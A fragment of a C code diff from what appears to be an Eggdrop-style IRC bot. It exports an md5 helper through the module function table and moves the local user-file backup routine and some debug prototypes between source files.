+#define md5 ((char *(*)(const char *))global[99])
 /* 100 - 103 */
 #define max_dcc (*(int *)global[100])
 #define shouldjoin ((int (*) (struct chanset_t *))global[101])
@@ -471,11 +471,6 @@
 #define listen_all ((int (*)(int, int))global[280])
 #endif
 /* 281 - 284 */
-/* gay
-#define MD5_Init ((void (*)(MD5_CTX))global[281])
-#define MD5_Update ((void (*)(MD5_CTX *, void *, unsigned long))global[282])
-#define MD5_Final ((void (*)(unsigned char *, MD5_CTX *))global[283])
-*/
 #define _wild_match_per ((int (*)(const char *, const char *))global[284])
 /* 285 - 288 */
 #define role (*(int*)global[285])

+ 1 - 1
src/modules.c

@@ -278,7 +278,7 @@ Function global_table[] =
   (Function) & global_bans,	 /* struct banrec *			*/
   (Function) & global_ign,	 /* struct igrec *			*/
   (Function) & password_timeout, /* int					*/
-  (Function) 0,
+  (Function) md5,
   /* 100 - 103 */
   (Function) & max_dcc,		 /* int					*/
   (Function) shouldjoin, 

+ 11 - 5
src/proto.h

@@ -40,6 +40,9 @@ extern int (*rfc_tolower) (int);
 extern int (*match_noterej) (struct userrec *, char *);
 #endif
 
+/* bg.c */
+void bg_do_split(void);
+
 /* botcmd.c */
 void bounce_simul(int, char *);
 void send_remote_simul(int, char *, char *, char *);
@@ -123,6 +126,7 @@ void gotremotecmd(char * forbot, char * frombot, char * fromhand, char * fromidx
 void gotremotereply(char * frombot, char * tohand, char * toidx, char * ln);
 
 /* crypt.c */
+char *md5(const char *);
 char *encrypt_string(const char *, char *);
 char *decrypt_string(const char *, char *);
 void encrypt_pass(char *, char *);
@@ -172,15 +176,16 @@ void call_ipbyhost(char *, IP, int);
 void dcc_dnshostbyip(IP);
 void dcc_dnsipbyhost(char *);
 
+/* debug.c */
+void sdprintf EGG_VARARGS(char *, arg1);
+void init_signals();
+
 /* gotdcc.c */
 void gotdcc(char *, char *, struct userrec *, char *);
 void do_boot(int, char *, char *);
 int detect_dcc_flood(time_t *, struct chat_info *, int);
 
 /* main.c */
-#ifdef HUB
-void backup_userfile();
-#endif /* HUB */
 void do_fork();
 int crontab_exists();
 void crontab_create(int);
@@ -189,7 +194,6 @@ int expected_memory(void);
 void eggContext(const char *, int, const char *);
 void eggContextNote(const char *, int, const char *, const char *);
 void eggAssert(const char *, int, const char *);
-void backup_userfile(void);
 
 
 /* match.c */
@@ -242,7 +246,6 @@ char *btoh(const unsigned char *, int);
 void local_check_should_lock();
 void werr(int);
 char *werr_tostr(int);
-void sdprintf EGG_VARARGS(char *, arg1);
 int listen_all(int, int);
 char *getfullbinname(char *);
 char *replace(char *, char *, char *);
@@ -380,6 +383,9 @@ void user_del_chan(char *);
 char *fixfrom(char *);
 
 /* users.c */
+#ifdef HUB
+void backup_userfile();
+#endif /* HUB */
 void addignore(char *, char *, char *, time_t);
 int delignore(char *);
 void tell_ignores(int, char *);

+ 14 - 0
src/users.c

@@ -634,6 +634,20 @@ void tell_users_match(int idx, char *mtch, int start, int limit,
   dprintf(idx, MISC_FOUNDMATCH, cnt, cnt == 1 ? "" : MISC_MATCH_PLURAL);
 }
 
+#ifdef HUB
+void backup_userfile()
+{
+  char s[DIRMAX], s2[DIRMAX];
+
+  putlog(LOG_MISC, "*", USERF_BACKUP);
+  egg_snprintf(s, sizeof s, "%s.u.0", tempdir);
+  egg_snprintf(s2, sizeof s2, "%s.u.1", tempdir);
+  movefile(s, s2);
+  copyfile(userfile, s);
+}
+#endif /* HUB */
+
+
 /*
  * tagged lines in the user file:
  * * OLD: